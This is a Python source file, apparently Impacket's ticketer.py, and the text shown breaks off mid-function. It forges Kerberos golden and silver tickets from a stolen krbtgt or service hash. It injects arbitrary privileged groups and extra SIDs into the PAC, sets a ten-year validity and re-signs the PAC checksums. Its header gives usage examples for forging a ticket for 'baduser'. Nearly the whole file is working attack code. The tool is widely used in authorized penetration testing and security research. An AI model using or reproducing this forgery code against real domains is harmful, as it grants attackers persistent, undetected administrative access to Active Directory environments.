1#!/usr/bin/env python 2# Copyright (c) 2016-2018 CORE Security Technologies 3# 4# This software is provided under under a slightly modified version 5# of the Apache Software License. See the accompanying LICENSE file 6# for more information. 7# 8# Author: 9# Alberto Solino (@agsolino) 10# 11# Description: 12# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) 13# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the 14# groups, extrasids, etc. 15# Tickets duration is fixed to 10 years from now (although you can manually change it) 16# 17# References: 18# Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash: 19# (http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it) 20# Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz 21# (https://github.com/gentilkiwi/mimikatz) 22# 23# Examples: 24# ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser 25# 26# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. 27# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 28# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as 29# baduser.ccache. 30# 31# ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> 32# -request -user <a valid domain user> -password <valid domain user's password> baduser 33# 34# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used 35# as template for customization. Whatever encryption algorithms used on that ticket will be honored, 36# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved 37# as baduser.ccache. 38# 39# ToDo: 40# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh 41# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC 42# 43import argparse 44import datetime 45import logging 46import random 47import string 48import sys 49from calendar import timegm 50from time import strptime 51from binascii import unhexlify 52 53from pyasn1.codec.der import encoder, decoder 54from pyasn1.type.univ import noValue 55 56from impacket import version 57from impacket.winregistry import hexdump 58from impacket.dcerpc.v5.dtypes import RPC_SID 59from impacket.dcerpc.v5.ndr import NDRULONG 60from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ 61 SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD 62from impacket.examples import logger 63from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart 64from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ 65 PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ 66 KERB_NON_KERB_CKSUM_SALT 67from impacket.krb5.crypto import Key, _enctype_table 68from impacket.krb5.crypto import _checksum_table, Enctype 69from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ 70 PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ 71 VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO 72from impacket.krb5.types import KerberosTime, Principal 73from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 74 75 76class TICKETER: 77 def __init__(self, target, password, domain, options): 78 self.__password = password 79 self.__target = target 80 self.__domain = domain 81 self.__options = options 82 if options.spn: 83 spn = options.spn.split('/') 84 self.__service = spn[0] 85 self.__server = spn[1] 86 87 # we are creating a golden ticket 88 else: 89 self.__service = 'krbtgt' 90 self.__server = self.__domain 91 92 @staticmethod 93 def getFileTime(t): 94 t *= 10000000 95 t += 116444736000000000 96 return t 97 98 def createBasicValidationInfo(self): 99 # 1) KERB_VALIDATION_INFO 100 kerbdata = KERB_VALIDATION_INFO() 101 102 aTime = timegm(datetime.datetime.utcnow().timetuple()) 103 unixTime = self.getFileTime(aTime) 104 105 kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff 106 kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 107 108 # LogoffTime: A FILETIME structure that contains the time the client's logon 109 # session should expire. If the session should not expire, this structure 110 # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 111 # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 112 # an indicator of when to warn the user that the allowed time is due to expire. 113 kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF 114 kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF 115 116 # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 117 # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 118 # client should not be logged off, this structure SHOULD have the dwHighDateTime 119 # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 120 # The Kerberos service ticket end time is a replacement for KickOffTime. 121 # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 122 # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 123 # of when the client should be forcibly disconnected. 124 kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF 125 kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF 126 127 kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff 128 kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32 129 130 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 131 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 132 133 # PasswordMustChange: A FILETIME structure that contains the time at which 134 # theclient's password expires. If the password will not expire, this 135 # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 136 # dwLowDateTime member set to 0xFFFFFFFF. 137 kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF 138 kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF 139 140 kerbdata['EffectiveName'] = self.__target 141 kerbdata['FullName'] = '' 142 kerbdata['LogonScript'] = '' 143 kerbdata['ProfilePath'] = '' 144 kerbdata['HomeDirectory'] = '' 145 kerbdata['HomeDirectoryDrive'] = '' 146 kerbdata['LogonCount'] = 500 147 kerbdata['BadPasswordCount'] = 0 148 kerbdata['UserId'] = int(self.__options.user_id) 149 kerbdata['PrimaryGroupId'] = 513 150 151 # Our Golden Well-known groups! :) 152 groups = self.__options.groups.split(',') 153 kerbdata['GroupCount'] = len(groups) 154 155 for group in groups: 156 groupMembership = GROUP_MEMBERSHIP() 157 groupId = NDRULONG() 158 groupId['Data'] = int(group) 159 groupMembership['RelativeId'] = groupId 160 groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 161 kerbdata['GroupIds'].append(groupMembership) 162 163 kerbdata['UserFlags'] = 0 164 kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 165 kerbdata['LogonServer'] = '' 166 kerbdata['LogonDomainName'] = self.__domain.upper() 167 kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid) 168 kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' 169 kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD 170 kerbdata['SubAuthStatus'] = 0 171 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 172 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 173 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 174 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 175 kerbdata['FailedILogonCount'] = 0 176 kerbdata['Reserved3'] = 0 177 178 kerbdata['ResourceGroupDomainSid'] = NULL 179 kerbdata['ResourceGroupCount'] = 0 180 kerbdata['ResourceGroupIds'] = NULL 181 182 validationInfo = VALIDATION_INFO() 183 validationInfo['Data'] = kerbdata 184 185 return validationInfo 186 187 def createBasicPac(self, kdcRep): 188 validationInfo = self.createBasicValidationInfo() 189 pacInfos = {} 190 pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() 191 srvCheckSum = PAC_SIGNATURE_DATA() 192 privCheckSum = PAC_SIGNATURE_DATA() 193 194 if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: 195 srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value 196 privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value 197 srvCheckSum['Signature'] = '\x00' * 16 198 privCheckSum['Signature'] = '\x00' * 16 199 else: 200 srvCheckSum['Signature'] = '\x00' * 12 201 privCheckSum['Signature'] = '\x00' * 12 202 if len(self.__options.aesKey) == 64: 203 srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value 204 privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value 205 else: 206 srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value 207 privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value 208 209 pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() 210 pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() 211 212 clientInfo = PAC_CLIENT_INFO() 213 clientInfo['Name'] = self.__target.encode('utf-16le') 214 clientInfo['NameLength'] = len(clientInfo['Name']) 215 pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() 216 217 return pacInfos 218 219 def createBasicTicket(self): 220 if self.__options.request is True: 221 if self.__domain == self.__server: 222 logging.info('Requesting TGT to target domain to use as basis') 223 else: 224 logging.info('Requesting TGT/TGS to target domain to use as basis') 225 226 if self.__options.hashes is not None: 227 lmhash, nthash = self.__options.hashes.split(':') 228 else: 229 lmhash = '' 230 nthash = '' 231 userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) 232 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 233 unhexlify(lmhash), unhexlify(nthash), None, 234 self.__options.dc_ip) 235 if self.__domain == self.__server: 236 kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] 237 else: 238 serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) 239 tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, 240 sessionKey) 241 kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 242 243 # Let's check we have all the necessary data based on the ciphers used. Boring checks 244 ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) 245 encPartCipher = int(kdcRep['enc-part']['etype']) 246 247 if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ 248 self.__options.nthash is None: 249 logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 250 'Can\'t continue ( or try running again w/o the -request option)') 251 return None, None 252 253 if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or 254 encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ 255 self.__options.aesKey is None: 256 logging.critical( 257 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 258 'Can\'t continue (or try running again w/o the -request option)') 259 return None, None 260 261 if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or 262 encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ 263 self.__options.aesKey is not None and len(self.__options.aesKey) > 32: 264 logging.critical( 265 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 266 'Can\'t continue (or try running again w/o the -request option)') 267 return None, None 268 269 if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or 270 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: 271 logging.critical( 272 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 273 'Can\'t continue (or try running again w/o the -request option)') 274 return None, None 275 276 if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or 277 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ 278 self.__options.aesKey is not None and len(self.__options.aesKey) < 64: 279 logging.critical( 280 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 281 'Can\'t continue') 282 return None, None 283 kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 284 kdcRep['cname']['name-string'] = noValue 285 kdcRep['cname']['name-string'][0] = self.__target 286 287 else: 288 logging.info('Creating basic skeleton ticket and PAC Infos') 289 if self.__domain == self.__server: 290 kdcRep = AS_REP() 291 kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value 292 else: 293 kdcRep = TGS_REP() 294 kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value 295 kdcRep['pvno'] = 5 296 if self.__options.nthash is None: 297 kdcRep['padata'] = noValue 298 kdcRep['padata'][0] = noValue 299 kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value 300 301 etype2 = ETYPE_INFO2() 302 etype2[0] = noValue 303 if len(self.__options.aesKey) == 64: 304 etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value 305 else: 306 etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value 307 etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) 308 encodedEtype2 = encoder.encode(etype2) 309 310 kdcRep['padata'][0]['padata-value'] = encodedEtype2 311 312 kdcRep['crealm'] = self.__domain.upper() 313 kdcRep['cname'] = noValue 314 kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 315 kdcRep['cname']['name-string'] = noValue 316 kdcRep['cname']['name-string'][0] = self.__target 317 318 kdcRep['ticket'] = noValue 319 kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value 320 kdcRep['ticket']['realm'] = self.__domain.upper() 321 kdcRep['ticket']['sname'] = noValue 322 kdcRep['ticket']['sname']['name-string'] = noValue 323 kdcRep['ticket']['sname']['name-string'][0] = self.__service 324 325 if self.__domain == self.__server: 326 kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value 327 kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() 328 else: 329 kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 330 kdcRep['ticket']['sname']['name-string'][1] = self.__server 331 332 kdcRep['ticket']['enc-part'] = noValue 333 kdcRep['ticket']['enc-part']['kvno'] = 2 334 kdcRep['enc-part'] = noValue 335 if self.__options.nthash is None: 336 if len(self.__options.aesKey) == 64: 337 kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value 338 kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value 339 else: 340 kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value 341 kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value 342 else: 343 kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value 344 kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value 345 346 kdcRep['enc-part']['kvno'] = 2 347 kdcRep['enc-part']['cipher'] = noValue 348 349 pacInfos = self.createBasicPac(kdcRep) 350 351 return kdcRep, pacInfos 352 353 def customizeTicket(self, kdcRep, pacInfos): 354 logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) 355 encTicketPart = EncTicketPart() 356 357 flags = list() 358 flags.append(TicketFlags.forwardable.value) 359 flags.append(TicketFlags.proxiable.value) 360 flags.append(TicketFlags.renewable.value) 361 if self.__domain == self.__server: 362 flags.append(TicketFlags.initial.value) 363 flags.append(TicketFlags.pre_authent.value) 364 encTicketPart['flags'] = encodeFlags(flags) 365 encTicketPart['key'] = noValue 366 encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] 367 368 if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: 369 encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) 370 elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: 371 encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)]) 372 else: 373 encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) 374 375 encTicketPart['crealm'] = self.__domain.upper() 376 encTicketPart['cname'] = noValue 377 encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 378 encTicketPart['cname']['name-string'] = noValue 379 encTicketPart['cname']['name-string'][0] = self.__target 380 381 encTicketPart['transited'] = noValue 382 encTicketPart['transited']['tr-type'] = 0 383 encTicketPart['transited']['contents'] = '' 384 385 encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) 386 encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) 387 # Let's extend the ticket's validity a lil bit 388 ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) 389 encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) 390 encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) 391 encTicketPart['authorization-data'] = noValue 392 encTicketPart['authorization-data'][0] = noValue 393 encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value 394 encTicketPart['authorization-data'][0]['ad-data'] = noValue 395 396 # Let's locate the KERB_VALIDATION_INFO and Checksums 397 if pacInfos.has_key(PAC_LOGON_INFO): 398 data = pacInfos[PAC_LOGON_INFO] 399 validationInfo = VALIDATION_INFO() 400 validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) 401 lenVal = len(validationInfo.getData()) 402 validationInfo.fromStringReferents(data[lenVal:], lenVal) 403 404 aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) 405 406 unixTime = self.getFileTime(aTime) 407 408 kerbdata = KERB_VALIDATION_INFO() 409 410 kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff 411 kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 412 413 # Let's adjust username and other data 414 validationInfo['Data']['LogonDomainName'] = self.__domain.upper() 415 validationInfo['Data']['EffectiveName'] = self.__target 416 # Our Golden Well-known groups! :) 417 groups = self.__options.groups.split(',') 418 validationInfo['Data']['GroupIds'] = list() 419 validationInfo['Data']['GroupCount'] = len(groups) 420 421 for group in groups: 422 groupMembership = GROUP_MEMBERSHIP() 423 groupId = NDRULONG() 424 groupId['Data'] = int(group) 425 groupMembership['RelativeId'] = groupId 426 groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 427 validationInfo['Data']['GroupIds'].append(groupMembership) 428 429 # Let's add the extraSid 430 if self.__options.extra_sid is not None: 431 extrasids = self.__options.extra_sid.split(',') 432 if validationInfo['Data']['SidCount'] == 0: 433 # Let's be sure user's flag specify we have extra sids. 434 validationInfo['Data']['UserFlags'] |= 0x20 435 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() 436 for extrasid in extrasids: 437 validationInfo['Data']['SidCount'] += 1 438 439 sidRecord = KERB_SID_AND_ATTRIBUTES() 440 441 sid = RPC_SID() 442 sid.fromCanonical(extrasid) 443 444 sidRecord['Sid'] = sid 445 sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 446 447 # And, let's append the magicSid 448 validationInfo['Data']['ExtraSids'].append(sidRecord) 449 else: 450 validationInfo['Data']['ExtraSids'] = NULL 451 452 validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() 453 pacInfos[PAC_LOGON_INFO] = validationInfoBlob 454 455 if logging.getLogger().level == logging.DEBUG: 456 logging.debug('VALIDATION_INFO after making it gold') 457 validationInfo.dump() 458 print ('\n') 459 else: 460 raise Exception('PAC_LOGON_INFO not found! Aborting') 461 462 logging.info('\tPAC_LOGON_INFO') 463 464 # Let's now clear the checksums 465 if pacInfos.has_key(PAC_SERVER_CHECKSUM): 466 serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) 467 if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 468 serverChecksum['Signature'] = '\x00' * 12 469 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 470 serverChecksum['Signature'] = '\x00' * 12 471 else: 472 serverChecksum['Signature'] = '\x00' * 16 473 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() 474 else: 475 raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') 476 477 if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM): 478 privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) 479 privSvrChecksum['Signature'] = '\x00' * 12 480 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 481 privSvrChecksum['Signature'] = '\x00' * 12 482 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 483 privSvrChecksum['Signature'] = '\x00' * 12 484 else: 485 privSvrChecksum['Signature'] = '\x00' * 16 486 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() 487 else: 488 raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') 489 490 if pacInfos.has_key(PAC_CLIENT_INFO_TYPE): 491 pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) 492 pacClientInfo['ClientId'] = unixTime 493 pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() 494 else: 495 raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') 496 497 logging.info('\tPAC_CLIENT_INFO_TYPE') 498 logging.info('\tEncTicketPart') 499 500 if self.__domain == self.__server: 501 encRepPart = EncASRepPart() 502 else: 503 encRepPart = EncTGSRepPart() 504 505 encRepPart['key'] = noValue 506 encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] 507 encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] 508 encRepPart['last-req'] = noValue 509 encRepPart['last-req'][0] = noValue 510 encRepPart['last-req'][0]['lr-type'] = 0 511 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) 512 encRepPart['nonce'] = 123456789 513 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) 514 encRepPart['flags'] = encodeFlags(flags) 515 encRepPart['authtime'] = encTicketPart['authtime'] 516 encRepPart['endtime'] = encTicketPart['endtime'] 517 encRepPart['starttime'] = encTicketPart['starttime'] 518 encRepPart['renew-till'] = encTicketPart['renew-till'] 519 encRepPart['srealm'] = self.__domain.upper() 520 encRepPart['sname'] = noValue 521 encRepPart['sname']['name-string'] = noValue 522 encRepPart['sname']['name-string'][0] = self.__service 523 524 if self.__domain == self.__server: 525 encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value 526 encRepPart['sname']['name-string'][1] = self.__domain.upper() 527 logging.info('\tEncAsRepPart') 528 else: 529 encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value 530 encRepPart['sname']['name-string'][1] = self.__server 531 logging.info('\tEncTGSRepPart') 532 533 return encRepPart, encTicketPart, pacInfos 534 535 def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): 536 logging.info('Signing/Encrypting final ticket') 537 538 # We changed everything we needed to make us special. Now let's repack and calculate checksums 539 validationInfoBlob = pacInfos[PAC_LOGON_INFO] 540 validationInfoAlignment = '\x00' * (((len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob)) 541 542 pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] 543 pacClientInfoAlignment = '\x00' * (((len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob)) 544 545 serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) 546 serverChecksumBlob = str(pacInfos[PAC_SERVER_CHECKSUM]) 547 serverChecksumAlignment = '\x00' * (((len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob)) 548 549 privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) 550 privSvrChecksumBlob = str(pacInfos[PAC_PRIVSVR_CHECKSUM]) 551 privSvrChecksumAlignment = '\x00' * (((len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob)) 552 553 # The offset are set from the beginning of the PAC_TYPE 554 # [MS-PAC] 2.4 PAC_INFO_BUFFER 555 offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4 556 557 # Let's build the PAC_INFO_BUFFER for each one of the elements 558 validationInfoIB = PAC_INFO_BUFFER() 559 validationInfoIB['ulType'] = PAC_LOGON_INFO 560 validationInfoIB['cbBufferSize'] = len(validationInfoBlob) 561 validationInfoIB['Offset'] = offsetData 562 offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8 563 564 pacClientInfoIB = PAC_INFO_BUFFER() 565 pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE 566 pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) 567 pacClientInfoIB['Offset'] = offsetData 568 offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8 569 570 serverChecksumIB = PAC_INFO_BUFFER() 571 serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM 572 serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) 573 serverChecksumIB['Offset'] = offsetData 574 offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8 575 576 privSvrChecksumIB = PAC_INFO_BUFFER() 577 privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM 578 privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) 579 privSvrChecksumIB['Offset'] = offsetData 580 # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 581 582 # Building the PAC_TYPE as specified in [MS-PAC] 583 buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str( 584 privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str( 585 pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfoAlignment 586 buffersTail = str(serverChecksumBlob) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment 587 588 pacType = PACTYPE() 589 pacType['cBuffers'] = 4 590 pacType['Version'] = 0 591 pacType['Buffers'] = buffers + buffersTail 592 593 blobToChecksum = str(pacType) 594 595 checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] 596 if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 597 keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) 598 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 599 keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) 600 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: 601 keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) 602 else: 603 raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) 604 605 checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] 606 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: 607 keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) 608 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: 609 keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) 610 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: 611 keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) 612 else: 613 raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) 614 615 serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) 616 logging.info('\tPAC_SERVER_CHECKSUM') 617 privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) 618 logging.info('\tPAC_PRIVSVR_CHECKSUM') 619 620 buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment 621 pacType['Buffers'] = buffers + buffersTail 622 623 authorizationData = AuthorizationData() 624 authorizationData[0] = noValue 625 authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value 626 authorizationData[0]['ad-data'] = str(pacType) 627 authorizationData = encoder.encode(authorizationData) 628 629 encTicketPart['authorization-data'][0]['ad-data'] = authorizationData 630 631 if logging.getLogger().level == logging.DEBUG: 632 logging.debug('Customized EncTicketPart') 633 print encTicketPart.prettyPrint() 634 print ('\n') 635 636 encodedEncTicketPart = encoder.encode(encTicketPart) 637 638 cipher = 